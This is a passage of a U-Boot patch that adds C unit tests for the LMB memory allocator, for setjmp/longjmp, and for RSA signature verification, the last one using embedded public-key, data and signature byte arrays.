+ ret = lmb_add(&lmb, ram, ram_size);
+ ut_asserteq(ret, 0);
+
+ ret = lmb_reserve(&lmb, 0x40010000, 0x10000);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, 0x40010000, 0x10000,
+ 0, 0, 0, 0);
+ /* allocate overlapping region should fail */
+ ret = lmb_reserve(&lmb, 0x40011000, 0x10000);
+ ut_asserteq(ret, -1);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, 0x40010000, 0x10000,
+ 0, 0, 0, 0);
+ /* allocate 3nd region */
+ ret = lmb_reserve(&lmb, 0x40030000, 0x10000);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 2, 0x40010000, 0x10000,
+ 0x40030000, 0x10000, 0, 0);
+ /* allocate 2nd region , This should coalesced all region into one */
+ ret = lmb_reserve(&lmb, 0x40020000, 0x10000);
+ ut_assert(ret >= 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, 0x40010000, 0x30000,
+ 0, 0, 0, 0);
+
+ /* allocate 2nd region, which should be added as first region */
+ ret = lmb_reserve(&lmb, 0x40000000, 0x8000);
+ ut_assert(ret >= 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 2, 0x40000000, 0x8000,
+ 0x40010000, 0x30000, 0, 0);
+
+ /* allocate 3rd region, coalesce with first and overlap with second */
+ ret = lmb_reserve(&lmb, 0x40008000, 0x10000);
+ ut_assert(ret >= 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, 0x40000000, 0x40000,
+ 0, 0, 0, 0);
+ return 0;
+}
+LIB_TEST(lib_test_lmb_overlapping_reserve, 0);
+
+/*
+ * Simulate 512 MiB RAM, reserve 3 blocks, allocate addresses in between.
+ * Expect addresses outside the memory range to fail.
+ */
+static int test_alloc_addr(struct unit_test_state *uts, const phys_addr_t ram)
+{
+ const phys_size_t ram_size = 0x20000000;
+ const phys_addr_t ram_end = ram + ram_size;
+ const phys_size_t alloc_addr_a = ram + 0x8000000;
+ const phys_size_t alloc_addr_b = ram + 0x8000000 * 2;
+ const phys_size_t alloc_addr_c = ram + 0x8000000 * 3;
+ struct lmb lmb;
+ long ret;
+ phys_addr_t a, b, c, d, e;
+
+ /* check for overflow */
+ ut_assert(ram_end == 0 || ram_end > ram);
+
+ lmb_init(&lmb);
+
+ ret = lmb_add(&lmb, ram, ram_size);
+ ut_asserteq(ret, 0);
+
+ /* reserve 3 blocks */
+ ret = lmb_reserve(&lmb, alloc_addr_a, 0x10000);
+ ut_asserteq(ret, 0);
+ ret = lmb_reserve(&lmb, alloc_addr_b, 0x10000);
+ ut_asserteq(ret, 0);
+ ret = lmb_reserve(&lmb, alloc_addr_c, 0x10000);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 3, alloc_addr_a, 0x10000,
+ alloc_addr_b, 0x10000, alloc_addr_c, 0x10000);
+
+ /* allocate blocks */
+ a = lmb_alloc_addr(&lmb, ram, alloc_addr_a - ram);
+ ut_asserteq(a, ram);
+ ASSERT_LMB(&lmb, ram, ram_size, 3, ram, 0x8010000,
+ alloc_addr_b, 0x10000, alloc_addr_c, 0x10000);
+ b = lmb_alloc_addr(&lmb, alloc_addr_a + 0x10000,
+ alloc_addr_b - alloc_addr_a - 0x10000);
+ ut_asserteq(b, alloc_addr_a + 0x10000);
+ ASSERT_LMB(&lmb, ram, ram_size, 2, ram, 0x10010000,
+ alloc_addr_c, 0x10000, 0, 0);
+ c = lmb_alloc_addr(&lmb, alloc_addr_b + 0x10000,
+ alloc_addr_c - alloc_addr_b - 0x10000);
+ ut_asserteq(c, alloc_addr_b + 0x10000);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, ram, 0x18010000,
+ 0, 0, 0, 0);
+ d = lmb_alloc_addr(&lmb, alloc_addr_c + 0x10000,
+ ram_end - alloc_addr_c - 0x10000);
+ ut_asserteq(d, alloc_addr_c + 0x10000);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, ram, ram_size,
+ 0, 0, 0, 0);
+
+ /* allocating anything else should fail */
+ e = lmb_alloc(&lmb, 1, 1);
+ ut_asserteq(e, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, ram, ram_size,
+ 0, 0, 0, 0);
+
+ ret = lmb_free(&lmb, d, ram_end - alloc_addr_c - 0x10000);
+ ut_asserteq(ret, 0);
+
+ /* allocate at 3 points in free range */
+
+ d = lmb_alloc_addr(&lmb, ram_end - 4, 4);
+ ut_asserteq(d, ram_end - 4);
+ ASSERT_LMB(&lmb, ram, ram_size, 2, ram, 0x18010000,
+ d, 4, 0, 0);
+ ret = lmb_free(&lmb, d, 4);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, ram, 0x18010000,
+ 0, 0, 0, 0);
+
+ d = lmb_alloc_addr(&lmb, ram_end - 128, 4);
+ ut_asserteq(d, ram_end - 128);
+ ASSERT_LMB(&lmb, ram, ram_size, 2, ram, 0x18010000,
+ d, 4, 0, 0);
+ ret = lmb_free(&lmb, d, 4);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, ram, 0x18010000,
+ 0, 0, 0, 0);
+
+ d = lmb_alloc_addr(&lmb, alloc_addr_c + 0x10000, 4);
+ ut_asserteq(d, alloc_addr_c + 0x10000);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, ram, 0x18010004,
+ 0, 0, 0, 0);
+ ret = lmb_free(&lmb, d, 4);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, ram, 0x18010000,
+ 0, 0, 0, 0);
+
+ /* allocate at the bottom */
+ ret = lmb_free(&lmb, a, alloc_addr_a - ram);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, ram + 0x8000000, 0x10010000,
+ 0, 0, 0, 0);
+ d = lmb_alloc_addr(&lmb, ram, 4);
+ ut_asserteq(d, ram);
+ ASSERT_LMB(&lmb, ram, ram_size, 2, d, 4,
+ ram + 0x8000000, 0x10010000, 0, 0);
+
+ /* check that allocating outside memory fails */
+ if (ram_end != 0) {
+ ret = lmb_alloc_addr(&lmb, ram_end, 1);
+ ut_asserteq(ret, 0);
+ }
+ if (ram != 0) {
+ ret = lmb_alloc_addr(&lmb, ram - 1, 1);
+ ut_asserteq(ret, 0);
+ }
+
+ return 0;
+}
+
+static int lib_test_lmb_alloc_addr(struct unit_test_state *uts)
+{
+ int ret;
+
+ /* simulate 512 MiB RAM beginning at 1GiB */
+ ret = test_alloc_addr(uts, 0x40000000);
+ if (ret)
+ return ret;
+
+ /* simulate 512 MiB RAM beginning at 1.5GiB */
+ return test_alloc_addr(uts, 0xE0000000);
+}
+LIB_TEST(lib_test_lmb_alloc_addr, 0);
+
+/* Simulate 512 MiB RAM, reserve 3 blocks, check addresses in between */
+static int test_get_unreserved_size(struct unit_test_state *uts,
+ const phys_addr_t ram)
+{
+ const phys_size_t ram_size = 0x20000000;
+ const phys_addr_t ram_end = ram + ram_size;
+ const phys_size_t alloc_addr_a = ram + 0x8000000;
+ const phys_size_t alloc_addr_b = ram + 0x8000000 * 2;
+ const phys_size_t alloc_addr_c = ram + 0x8000000 * 3;
+ struct lmb lmb;
+ long ret;
+ phys_size_t s;
+
+ /* check for overflow */
+ ut_assert(ram_end == 0 || ram_end > ram);
+
+ lmb_init(&lmb);
+
+ ret = lmb_add(&lmb, ram, ram_size);
+ ut_asserteq(ret, 0);
+
+ /* reserve 3 blocks */
+ ret = lmb_reserve(&lmb, alloc_addr_a, 0x10000);
+ ut_asserteq(ret, 0);
+ ret = lmb_reserve(&lmb, alloc_addr_b, 0x10000);
+ ut_asserteq(ret, 0);
+ ret = lmb_reserve(&lmb, alloc_addr_c, 0x10000);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 3, alloc_addr_a, 0x10000,
+ alloc_addr_b, 0x10000, alloc_addr_c, 0x10000);
+
+ /* check addresses in between blocks */
+ s = lmb_get_free_size(&lmb, ram);
+ ut_asserteq(s, alloc_addr_a - ram);
+ s = lmb_get_free_size(&lmb, ram + 0x10000);
+ ut_asserteq(s, alloc_addr_a - ram - 0x10000);
+ s = lmb_get_free_size(&lmb, alloc_addr_a - 4);
+ ut_asserteq(s, 4);
+
+ s = lmb_get_free_size(&lmb, alloc_addr_a + 0x10000);
+ ut_asserteq(s, alloc_addr_b - alloc_addr_a - 0x10000);
+ s = lmb_get_free_size(&lmb, alloc_addr_a + 0x20000);
+ ut_asserteq(s, alloc_addr_b - alloc_addr_a - 0x20000);
+ s = lmb_get_free_size(&lmb, alloc_addr_b - 4);
+ ut_asserteq(s, 4);
+
+ s = lmb_get_free_size(&lmb, alloc_addr_c + 0x10000);
+ ut_asserteq(s, ram_end - alloc_addr_c - 0x10000);
+ s = lmb_get_free_size(&lmb, alloc_addr_c + 0x20000);
+ ut_asserteq(s, ram_end - alloc_addr_c - 0x20000);
+ s = lmb_get_free_size(&lmb, ram_end - 4);
+ ut_asserteq(s, 4);
+
+ return 0;
+}
+
+static int lib_test_lmb_get_free_size(struct unit_test_state *uts)
+{
+ int ret;
+
+ /* simulate 512 MiB RAM beginning at 1GiB */
+ ret = test_get_unreserved_size(uts, 0x40000000);
+ if (ret)
+ return ret;
+
+ /* simulate 512 MiB RAM beginning at 1.5GiB */
+ return test_get_unreserved_size(uts, 0xE0000000);
+}
+LIB_TEST(lib_test_lmb_get_free_size, 0);
+
+#ifdef CONFIG_LMB_USE_MAX_REGIONS
+static int lib_test_lmb_max_regions(struct unit_test_state *uts)
+{
+ const phys_addr_t ram = 0x00000000;
+ /*
+ * All of 32bit memory space will contain regions for this test, so
+ * we need to scale ram_size (which in this case is the size of the lmb
+ * region) to match.
+ */
+ const phys_size_t ram_size = ((0xFFFFFFFF >> CONFIG_LMB_MAX_REGIONS)
+ + 1) * CONFIG_LMB_MAX_REGIONS;
+ const phys_size_t blk_size = 0x10000;
+ phys_addr_t offset;
+ struct lmb lmb;
+ int ret, i;
+
+ lmb_init(&lmb);
+
+ ut_asserteq(lmb.memory.cnt, 0);
+ ut_asserteq(lmb.memory.max, CONFIG_LMB_MAX_REGIONS);
+ ut_asserteq(lmb.reserved.cnt, 0);
+ ut_asserteq(lmb.reserved.max, CONFIG_LMB_MAX_REGIONS);
+
+ /* Add CONFIG_LMB_MAX_REGIONS memory regions */
+ for (i = 0; i < CONFIG_LMB_MAX_REGIONS; i++) {
+ offset = ram + 2 * i * ram_size;
+ ret = lmb_add(&lmb, offset, ram_size);
+ ut_asserteq(ret, 0);
+ }
+ ut_asserteq(lmb.memory.cnt, CONFIG_LMB_MAX_REGIONS);
+ ut_asserteq(lmb.reserved.cnt, 0);
+
+ /* error for the (CONFIG_LMB_MAX_REGIONS + 1) memory regions */
+ offset = ram + 2 * (CONFIG_LMB_MAX_REGIONS + 1) * ram_size;
+ ret = lmb_add(&lmb, offset, ram_size);
+ ut_asserteq(ret, -1);
+
+ ut_asserteq(lmb.memory.cnt, CONFIG_LMB_MAX_REGIONS);
+ ut_asserteq(lmb.reserved.cnt, 0);
+
+ /* reserve CONFIG_LMB_MAX_REGIONS regions */
+ for (i = 0; i < CONFIG_LMB_MAX_REGIONS; i++) {
+ offset = ram + 2 * i * blk_size;
+ ret = lmb_reserve(&lmb, offset, blk_size);
+ ut_asserteq(ret, 0);
+ }
+
+ ut_asserteq(lmb.memory.cnt, CONFIG_LMB_MAX_REGIONS);
+ ut_asserteq(lmb.reserved.cnt, CONFIG_LMB_MAX_REGIONS);
+
+ /* error for the 9th reserved blocks */
+ offset = ram + 2 * (CONFIG_LMB_MAX_REGIONS + 1) * blk_size;
+ ret = lmb_reserve(&lmb, offset, blk_size);
+ ut_asserteq(ret, -1);
+
+ ut_asserteq(lmb.memory.cnt, CONFIG_LMB_MAX_REGIONS);
+ ut_asserteq(lmb.reserved.cnt, CONFIG_LMB_MAX_REGIONS);
+
+ /* check each regions */
+ for (i = 0; i < CONFIG_LMB_MAX_REGIONS; i++)
+ ut_asserteq(lmb.memory.region[i].base, ram + 2 * i * ram_size);
+
+ for (i = 0; i < CONFIG_LMB_MAX_REGIONS; i++)
+ ut_asserteq(lmb.reserved.region[i].base, ram + 2 * i * blk_size);
+
+ return 0;
+}
+LIB_TEST(lib_test_lmb_max_regions, 0);
+#endif
+
+static int lib_test_lmb_flags(struct unit_test_state *uts)
+{
+ const phys_addr_t ram = 0x40000000;
+ const phys_size_t ram_size = 0x20000000;
+ struct lmb lmb;
+ long ret;
+
+ lmb_init(&lmb);
+
+ ret = lmb_add(&lmb, ram, ram_size);
+ ut_asserteq(ret, 0);
+
+ /* reserve, same flag */
+ ret = lmb_reserve_flags(&lmb, 0x40010000, 0x10000, LMB_NOMAP);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, 0x40010000, 0x10000,
+ 0, 0, 0, 0);
+
+ /* reserve again, same flag */
+ ret = lmb_reserve_flags(&lmb, 0x40010000, 0x10000, LMB_NOMAP);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, 0x40010000, 0x10000,
+ 0, 0, 0, 0);
+
+ /* reserve again, new flag */
+ ret = lmb_reserve_flags(&lmb, 0x40010000, 0x10000, LMB_NONE);
+ ut_asserteq(ret, -1);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, 0x40010000, 0x10000,
+ 0, 0, 0, 0);
+
+ ut_asserteq(lmb_is_nomap(&lmb.reserved.region[0]), 1);
+
+ /* merge after */
+ ret = lmb_reserve_flags(&lmb, 0x40020000, 0x10000, LMB_NOMAP);
+ ut_asserteq(ret, 1);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, 0x40010000, 0x20000,
+ 0, 0, 0, 0);
+
+ /* merge before */
+ ret = lmb_reserve_flags(&lmb, 0x40000000, 0x10000, LMB_NOMAP);
+ ut_asserteq(ret, 1);
+ ASSERT_LMB(&lmb, ram, ram_size, 1, 0x40000000, 0x30000,
+ 0, 0, 0, 0);
+
+ ut_asserteq(lmb_is_nomap(&lmb.reserved.region[0]), 1);
+
+ ret = lmb_reserve_flags(&lmb, 0x40030000, 0x10000, LMB_NONE);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 2, 0x40000000, 0x30000,
+ 0x40030000, 0x10000, 0, 0);
+
+ ut_asserteq(lmb_is_nomap(&lmb.reserved.region[0]), 1);
+ ut_asserteq(lmb_is_nomap(&lmb.reserved.region[1]), 0);
+
+ /* test that old API use LMB_NONE */
+ ret = lmb_reserve(&lmb, 0x40040000, 0x10000);
+ ut_asserteq(ret, 1);
+ ASSERT_LMB(&lmb, ram, ram_size, 2, 0x40000000, 0x30000,
+ 0x40030000, 0x20000, 0, 0);
+
+ ut_asserteq(lmb_is_nomap(&lmb.reserved.region[0]), 1);
+ ut_asserteq(lmb_is_nomap(&lmb.reserved.region[1]), 0);
+
+ ret = lmb_reserve_flags(&lmb, 0x40070000, 0x10000, LMB_NOMAP);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 3, 0x40000000, 0x30000,
+ 0x40030000, 0x20000, 0x40070000, 0x10000);
+
+ ret = lmb_reserve_flags(&lmb, 0x40050000, 0x10000, LMB_NOMAP);
+ ut_asserteq(ret, 0);
+ ASSERT_LMB(&lmb, ram, ram_size, 4, 0x40000000, 0x30000,
+ 0x40030000, 0x20000, 0x40050000, 0x10000);
+
+ /* merge with 2 adjacent regions */
+ ret = lmb_reserve_flags(&lmb, 0x40060000, 0x10000, LMB_NOMAP);
+ ut_asserteq(ret, 2);
+ ASSERT_LMB(&lmb, ram, ram_size, 3, 0x40000000, 0x30000,
+ 0x40030000, 0x20000, 0x40050000, 0x30000);
+
+ ut_asserteq(lmb_is_nomap(&lmb.reserved.region[0]), 1);
+ ut_asserteq(lmb_is_nomap(&lmb.reserved.region[1]), 0);
+ ut_asserteq(lmb_is_nomap(&lmb.reserved.region[2]), 1);
+
+ return 0;
+}
+LIB_TEST(lib_test_lmb_flags, 0);
diff --git a/test/lib/longjmp.c b/test/lib/longjmp.c
new file mode 100644
index 00000000000..79d889bdd5f
--- /dev/null
+++ b/test/lib/longjmp.c
@@ -0,0 +1,72 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test setjmp(), longjmp()
+ *
+ * Copyright (c) 2021, Heinrich Schuchardt <xypron.glpk@gmx.de>
+ */
+
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <asm/setjmp.h>
+
+struct test_jmp_buf {
+ jmp_buf env;
+ int val;
+};
+
+/**
+ * test_longjmp() - test longjmp function
+ *
+ * @i is passed to longjmp.
+ * @i << 8 is set in the environment structure.
+ *
+ * @env: environment
+ * @i: value passed to longjmp()
+ */
+static noinline void test_longjmp(struct test_jmp_buf *env, int i)
+{
+ env->val = i << 8;
+ longjmp(env->env, i);
+}
+
+/**
+ * test_setjmp() - test setjmp function
+ *
+ * setjmp() will return the value @i passed to longjmp() if @i is non-zero.
+ * For @i == 0 we expect return value 1.
+ *
+ * @i << 8 will be set by test_longjmp in the environment structure.
+ * This value can be used to check that the stack frame is restored.
+ *
+ * We return the XORed values to allow simply check both at once.
+ *
+ * @i: value passed to longjmp()
+ * Return: values return by longjmp()
+ */
+static int test_setjmp(int i)
+{
+ struct test_jmp_buf env;
+ int ret;
+
+ env.val = -1;
+ ret = setjmp(env.env);
+ if (ret)
+ return ret ^ env.val;
+ test_longjmp(&env, i);
+ /* We should not arrive here */
+ return 0x1000;
+}
+
+static int lib_test_longjmp(struct unit_test_state *uts)
+{
+ int i;
+
+ for (i = -3; i < 0; ++i)
+ ut_asserteq(i ^ (i << 8), test_setjmp(i));
+ ut_asserteq(1, test_setjmp(0));
+ for (i = 1; i < 4; ++i)
+ ut_asserteq(i ^ (i << 8), test_setjmp(i));
+ return 0;
+}
+LIB_TEST(lib_test_longjmp, 0);
diff --git a/test/lib/rsa.c b/test/lib/rsa.c
new file mode 100644
index 00000000000..40f70010c78
--- /dev/null
+++ b/test/lib/rsa.c
@@ -0,0 +1,205 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2019 Linaro Limited
+ * Author: AKASHI Takahiro
+ *
+ * Unit test for rsa_verify() function
+ */
+
+#include <command.h>
+#include <image.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <u-boot/rsa.h>
+
+#ifdef CONFIG_RSA_VERIFY_WITH_PKEY
+/*
+ * openssl genrsa 2048 -out private.pem
+ * openssl rsa -in private.pem -pubout -outform der -out public.der
+ * dd if=public.der of=public.raw bs=24 skip=1
+ */
+static unsigned char public_key[] = {
+ 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xca, 0x25, 0x23,
+ 0xe0, 0x0a, 0x4d, 0x8f, 0x56, 0xfc, 0xc9, 0x06, 0x4c, 0xcc, 0x94, 0x43,
+ 0xe0, 0x56, 0x44, 0x6e, 0x37, 0x54, 0x87, 0x12, 0x84, 0xf9, 0x07, 0x4f,
+ 0xe4, 0x23, 0x40, 0xc3, 0x43, 0x84, 0x37, 0x86, 0xd3, 0x9d, 0x95, 0x1c,
+ 0xe4, 0x8a, 0x66, 0x02, 0x09, 0xe2, 0x3d, 0xce, 0x2c, 0xc6, 0x02, 0x6a,
+ 0xd4, 0x65, 0x61, 0xff, 0x85, 0x6f, 0x88, 0x63, 0xba, 0x31, 0x62, 0x1e,
+ 0xb7, 0x95, 0xe9, 0x08, 0x3c, 0xe9, 0x35, 0xde, 0xfd, 0x65, 0x92, 0xb8,
+ 0x9e, 0x71, 0xa4, 0xcd, 0x47, 0xfd, 0x04, 0x26, 0xb9, 0x78, 0xbf, 0x05,
+ 0x0d, 0xfc, 0x00, 0x84, 0x08, 0xfc, 0xc4, 0x4b, 0xea, 0xf5, 0x97, 0x68,
+ 0x0d, 0x97, 0xd7, 0xff, 0x4f, 0x92, 0x82, 0xd7, 0xbb, 0xef, 0xb7, 0x67,
+ 0x8e, 0x72, 0x54, 0xe8, 0xc5, 0x9e, 0xfd, 0xd8, 0x38, 0xe9, 0xbe, 0x19,
+ 0x37, 0x5b, 0x36, 0x8b, 0xbf, 0x49, 0xa1, 0x59, 0x3a, 0x9d, 0xad, 0x92,
+ 0x08, 0x0b, 0xe3, 0xa4, 0xa4, 0x7d, 0xd3, 0x70, 0xc0, 0xb8, 0xfb, 0xc7,
+ 0xda, 0xd3, 0x19, 0x86, 0x37, 0x9a, 0xcd, 0xab, 0x30, 0x96, 0xab, 0xa4,
+ 0xa2, 0x31, 0xa0, 0x38, 0xfb, 0xbf, 0x85, 0xd3, 0x24, 0x39, 0xed, 0xbf,
+ 0xe1, 0x31, 0xed, 0x6c, 0x39, 0xc1, 0xe5, 0x05, 0x2e, 0x12, 0x30, 0x36,
+ 0x73, 0x5d, 0x62, 0xf3, 0x82, 0xaf, 0x38, 0xc8, 0xca, 0xfa, 0xa1, 0x99,
+ 0x57, 0x3c, 0xe1, 0xc1, 0x7b, 0x05, 0x0b, 0xcc, 0x2e, 0xa9, 0x10, 0xc8,
+ 0x68, 0xbd, 0x27, 0xb6, 0x19, 0x9c, 0xd2, 0xad, 0xb3, 0x1f, 0xca, 0x35,
+ 0x6e, 0x84, 0x23, 0xa1, 0xe9, 0xa4, 0x4c, 0xab, 0x19, 0x09, 0x79, 0x6e,
+ 0x3c, 0x7b, 0x74, 0xfc, 0x33, 0x05, 0xcf, 0xa4, 0x2e, 0xeb, 0x55, 0x60,
+ 0x05, 0xc7, 0xcf, 0x3f, 0x92, 0xac, 0x2d, 0x69, 0x0b, 0x19, 0x16, 0x79,
+ 0x75, 0x02, 0x03, 0x01, 0x00, 0x01
+};
+
+static unsigned int public_key_len = 270;
+
+/*
+ * dd if=/dev/urandom of=data.raw bs=512 count=1
+ */
+static unsigned char data_raw[] = {
+ 0x3e, 0x48, 0x6e, 0xef, 0x83, 0xd1, 0x4c, 0xfd, 0x92, 0x47, 0x92, 0xd7,
+ 0xf6, 0x16, 0x25, 0x0a, 0xdf, 0xe2, 0xb6, 0x6c, 0xe7, 0xe0, 0x55, 0xb2,
+ 0x70, 0x66, 0xf0, 0xe5, 0xdc, 0xaf, 0xd3, 0x2e, 0xc1, 0x3e, 0x5c, 0x4b,
+ 0xb5, 0xa7, 0x23, 0x1f, 0x2c, 0xce, 0xf8, 0x83, 0x00, 0x6d, 0xeb, 0xdd,
+ 0x19, 0x71, 0x13, 0xb4, 0xae, 0x5c, 0xa8, 0xae, 0x52, 0xc8, 0xe1, 0x77,
+ 0x9e, 0x98, 0x75, 0xbc, 0xef, 0x36, 0x9f, 0x0c, 0x14, 0xed, 0x1a, 0x0a,
+ 0x4f, 0x6c, 0xa4, 0xb1, 0xbb, 0x0e, 0x43, 0x93, 0x12, 0xfc, 0x2e, 0x82,
+ 0x93, 0x4e, 0xcb, 0xa2, 0xcd, 0x59, 0x3f, 0xc5, 0x11, 0x38, 0x3a, 0x88,
+ 0xc3, 0xcf, 0xf9, 0x61, 0xa8, 0x9e, 0x96, 0xb6, 0xbf, 0xa6, 0x5b, 0x0d,
+ 0xd9, 0xbd, 0x05, 0x4c, 0xbe, 0xed, 0x86, 0xca, 0x10, 0x63, 0x72, 0x75,
+ 0x4b, 0xbd, 0x86, 0x42, 0x30, 0x9d, 0x54, 0x4e, 0x12, 0xda, 0xf4, 0xb4,
+ 0xfd, 0xd9, 0x54, 0x95, 0x8f, 0x83, 0xc2, 0x63, 0x44, 0xdd, 0x96, 0x1a,
+ 0xd0, 0x7c, 0xcf, 0xcb, 0x16, 0xd6, 0xff, 0xa3, 0xbb, 0xeb, 0x24, 0x06,
+ 0xbf, 0x81, 0xd0, 0x29, 0x76, 0x19, 0x66, 0x84, 0xfc, 0x49, 0xde, 0x7b,
+ 0x5d, 0xd2, 0x27, 0x58, 0x21, 0x7b, 0xff, 0x4d, 0x64, 0xf3, 0x89, 0xe3,
+ 0xea, 0xb6, 0x54, 0x4e, 0xb1, 0x62, 0x52, 0x89, 0xe3, 0x22, 0xf2, 0x26,
+ 0x3e, 0x4f, 0x43, 0x58, 0x78, 0x91, 0x55, 0xbc, 0x1e, 0xd6, 0x97, 0xfc,
+ 0x0b, 0x85, 0x4c, 0x92, 0x9c, 0xbf, 0xc4, 0xb1, 0x62, 0x93, 0x27, 0xa9,
+ 0xb2, 0xf4, 0xb4, 0x7a, 0xfb, 0x56, 0xe5, 0x8f, 0xe1, 0x94, 0x4d, 0xfd,
+ 0xe4, 0x72, 0x8d, 0xa9, 0x71, 0x65, 0xcb, 0x2e, 0x6d, 0x39, 0xd5, 0x95,
+ 0xe7, 0x3f, 0xab, 0xaa, 0x7a, 0x74, 0x84, 0x25, 0x4b, 0x42, 0x1e, 0xd3,
+ 0x86, 0xca, 0x47, 0x4a, 0xf0, 0x24, 0x81, 0x24, 0xb0, 0xe1, 0xbb, 0x6c,
+ 0x3f, 0x2a, 0xa0, 0xb8, 0xeb, 0xd6, 0x01, 0xce, 0x63, 0x51, 0xe1, 0x81,
+ 0xd2, 0x32, 0x43, 0x56, 0x44, 0x4a, 0x6b, 0x51, 0x24, 0xa2, 0xc7, 0x39,
+ 0x7c, 0x54, 0xda, 0xf8, 0xd4, 0x93, 0x7c, 0x8e, 0x4e, 0x9d, 0x15, 0x08,
+ 0xce, 0x27, 0xd8, 0x28, 0xb0, 0x5b, 0x75, 0x32, 0x43, 0xe8, 0xd6, 0xbf,
+ 0x12, 0xd5, 0xc5, 0x12, 0x8e, 0xeb, 0x77, 0x8f, 0x00, 0xde, 0x45, 0x1e,
+ 0xdd, 0xf3, 0xef, 0x43, 0x99, 0x79, 0x86, 0xea, 0x01, 0xce, 0xf2, 0x4d,
+ 0xa0, 0xfe, 0x5a, 0x55, 0xc0, 0x1f, 0xce, 0xe8, 0xbe, 0xc2, 0x66, 0xdb,
+ 0xcb, 0x3f, 0xa5, 0x48, 0xa1, 0xe2, 0x49, 0xa1, 0x29, 0x65, 0x5b, 0x62,
+ 0x39, 0xcc, 0xef, 0xbe, 0x86, 0xb7, 0xe3, 0x44, 0x67, 0x04, 0x04, 0xb1,
+ 0xec, 0xd8, 0xb2, 0xb2, 0x38, 0xbc, 0x10, 0xea, 0x7a, 0x0e, 0xa4, 0xa4,
+ 0xcb, 0x21, 0xd9, 0xc7, 0xb4, 0x0b, 0xb8, 0x39, 0xb4, 0x07, 0x53, 0x3f,
+ 0xb9, 0x55, 0x55, 0xa1, 0x6f, 0x11, 0x49, 0xc0, 0x94, 0x77, 0xaf, 0x76,
+ 0x97, 0x7f, 0x31, 0x08, 0xdd, 0x72, 0x48, 0x72, 0xf8, 0x11, 0x4f, 0x69,
+ 0x10, 0xef, 0x23, 0x06, 0xf3, 0x34, 0xac, 0xee, 0x97, 0x89, 0x41, 0x1c,
+ 0x36, 0x38, 0xb1, 0x80, 0x96, 0x7a, 0x9e, 0x72, 0xab, 0x25, 0xeb, 0xce,
+ 0x7b, 0xb8, 0x5d, 0xc8, 0xef, 0xa4, 0x73, 0xa1, 0xa6, 0x8f, 0x01, 0x54,
+ 0xce, 0x58, 0x19, 0xe5, 0x7e, 0xfa, 0x77, 0x08, 0x9d, 0x53, 0xc1, 0xcc,
+ 0x08, 0xe8, 0x1d, 0xe0, 0x82, 0x5e, 0xe1, 0xe6, 0xbd, 0xbb, 0x59, 0x7e,
+ 0x12, 0x9c, 0x39, 0x60, 0x23, 0xf7, 0xbe, 0x0a, 0x7c, 0x48, 0x12, 0xa0,
+ 0x84, 0x04, 0x3f, 0xa1, 0x6e, 0x92, 0xcd, 0xa0, 0xac, 0xee, 0x0b, 0xbc,
+ 0x18, 0x30, 0x28, 0xbd, 0xf5, 0xfa, 0x3a, 0x35
+};
+
+static unsigned int data_raw_len = 512;
+
+/*
+ * openssl dgst -sha256 -sign private.key -out data.enc data.raw
+ */
+unsigned char data_enc[] = {
+ 0xa7, 0x4a, 0x12, 0x8f, 0xee, 0x65, 0x4b, 0xcd, 0x88, 0xca, 0x4d, 0xed,
+ 0xe3, 0x04, 0xe7, 0x7c, 0x59, 0xbf, 0x2f, 0xad, 0x95, 0x73, 0x5b, 0x2c,
+ 0x4e, 0xb5, 0xda, 0x5e, 0x3a, 0x6d, 0xb4, 0xc5, 0x84, 0x0c, 0xd2, 0x4a,
+ 0x62, 0x0d, 0x5f, 0xba, 0x10, 0xee, 0xb1, 0x2a, 0xe1, 0xfe, 0x50, 0x18,
+ 0x97, 0xcc, 0xea, 0x26, 0x62, 0x33, 0x5a, 0x1d, 0x51, 0x38, 0x52, 0x89,
+ 0x4d, 0xa7, 0x18, 0xff, 0xa6, 0xc8, 0xd4, 0x7a, 0xc0, 0xa6, 0x22, 0xdf,
+ 0x41, 0x89, 0x93, 0x9b, 0xe7, 0x9e, 0xc1, 0xc8, 0x80, 0xda, 0x1a, 0x3f,
+ 0xa4, 0x7a, 0xd0, 0x07, 0xcb, 0x5c, 0xa4, 0x75, 0x12, 0x54, 0x78, 0x67,
+ 0xbf, 0xe6, 0xae, 0x1e, 0x56, 0x33, 0x9e, 0xe0, 0x6e, 0x33, 0xa7, 0x58,
+ 0xb0, 0x47, 0x49, 0xa8, 0x37, 0xdb, 0x82, 0x4b, 0xbd, 0x32, 0x9c, 0xdc,
+ 0xf4, 0x67, 0x17, 0x24, 0x55, 0xfd, 0x83, 0x1e, 0xc8, 0xb4, 0x5c, 0xf9,
+ 0x15, 0x6c, 0x5e, 0xaa, 0x72, 0x03, 0x9e, 0x7c, 0x17, 0xf5, 0x7c, 0x37,
